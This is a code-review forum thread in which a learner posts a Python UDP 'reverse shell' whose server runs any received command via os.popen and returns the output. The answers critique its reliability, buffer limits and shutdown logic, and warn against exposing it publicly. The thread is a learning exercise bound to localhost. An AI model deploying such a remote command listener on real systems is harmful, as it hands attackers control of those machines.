6
\$\begingroup\$

I'm currently learning python / network programming altogether and I coded this simple python reverse shell; I would like to hear any remarks from you regarding code structure, any common beginner mistake, actually pretty much anything that feels wrong with my code.

The code is pretty straightforward, the client sends a command to the server, then listens for the command output; the server listens for the command, executes it and sends the command output.

client.py :

#!/usr/bin/env python3

import networking
import prompt_handler


def interpreter():
    while True:
        prompt = prompt_handler.pull_prompt(sockt)

        cmd = input(prompt)
        sockt.sendto(cmd.encode('utf-8'), server)

        output = networking.receive_data(sockt)
        print(output)

        if cmd == "quit":
            break


server = ('127.0.0.1', 8001)

sockt = networking.socket_init('127.0.0.1', 9001)
sockt.sendto('client hello'.encode('utf-8'), server)

interpreter()

server.py :

#!/usr/bin/env python3

import os
import platform
import networking


# separated sends for cwd and user_string to be able to color them client side
def get_sys_info():
    user_string = 'someone@' + str(platform.dist()[0]).lower()
    sockt.sendto(user_string.encode('utf-8'), client)

    user_cwd = os.getcwd()
    sockt.sendto(user_cwd.encode('utf-8'), client)
    return


def shell():
    while True:
        try:
            get_sys_info()
            cmd = networking.receive_data(sockt)

            if cmd.strip() == 'quit':
                sockt.sendto('Closing session...'.encode('utf-8'), client)
                sockt.close()
                break
            else:
                proc = os.popen(cmd)
                output = ''.join([i for i in proc.readlines()])

                sockt.sendto(output.encode('utf-8'), client)

        except Exception as e:
            sockt.sendto(repr(e).encode('utf-8'), client)
            pass


sockt = networking.socket_init('127.0.0.1', 8001)
client = networking.receive_rhostinfo(sockt)

shell()

networking.py :

import socket


def socket_init(ip_addr, port):
    sockt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sockt.bind((ip_addr, port))
    return sockt


# to be able to get the data directly - less clutter in main code
def receive_data(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return data.decode('utf-8')


# to be able to get the remote host info directly - less clutter in main code
def receive_rhostinfo(sockt):
    data, rhost_info = sockt.recvfrom(1024)
    return rhost_info

promp_handler.py

import networking


def pull_sys_info(sockt):
    user_str = networking.receive_data(sockt)
    cwd = networking.receive_data(sockt)
    return user_str, cwd


# i was craving for some color
def pull_prompt(sockt):
    user_str, cwd = pull_sys_info(sockt)
    user_str = "\u001b[31m" + user_str + "\u001b[0m:"
    cwd = "\u001b[34m" + cwd + "\u001b[0m$"
    return user_str + cwd

If needs be you can find the code on github.

\$\endgroup\$

2 Answers 2

5
\$\begingroup\$
  • UDP is not reliable. The packet sent to the sever could be lost (and therefore the server will not answer). The packet sent by the server could be lost. The client must handle such possibilities. As coded, it just hangs in recvfrom indefinitely.

  • Your recvfrom only takes 1024 bytes. If the shell output is longer, the rest is irrecoverably lost.

  • If the shell output is longer than MTU, the output is fragmented into the multiple packets. The client however only reads one. From this point down, the data client receives have no connection to what was executed. Try to cat a long file, for example.

    Also keep in mind that the fragments may arrive in any order (UDP doesn't guarantee the order of delivery).

  • Beware shell builtins. Since each command is executed in an individual shell, some commands (such as cd) only appear to be executed, but in fact have no effect.

  • Of course, don't ever run this server publicly. Execution of arbitrary commands (especially from an untrusted source) is a recipe for disaster.

\$\endgroup\$
1
  • \$\begingroup\$ Both answers were helpful, but i'll accept this one since I believe it has the most valuable infos for a beginner looking to code a reverse shell. Thank you! \$\endgroup\$
    – R2K
    Aug 10, 2018 at 10:54
5
\$\begingroup\$

General style

Your general code style is good. The methods are named feasibly and you stick to PEP 8.

Separate client and server shutdown

Currently your "quit" command shuts down both the server and client. Since it is a command entered in the client to the server I'd expect it to either shut down the client (firstly) or shutdown the server, but not both. You may want to consider using "quit" to shutdown the client only and keep the server running for a later re-connect and use something like "shutdown" to shutdown the server only.

Prior to its shutdown, the server may notify the client about this, by e.g. sending ␄ or another control character.

Socket limits and data loss

You statically limited the reading of data from the sockets to 1024 bytes. If you'd send more data, it will get lost.

Use libraries where applicable

Have a look at ZeroMQ or other higher-level libraries if you don't necessarily need to mess with sockets on the low level.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.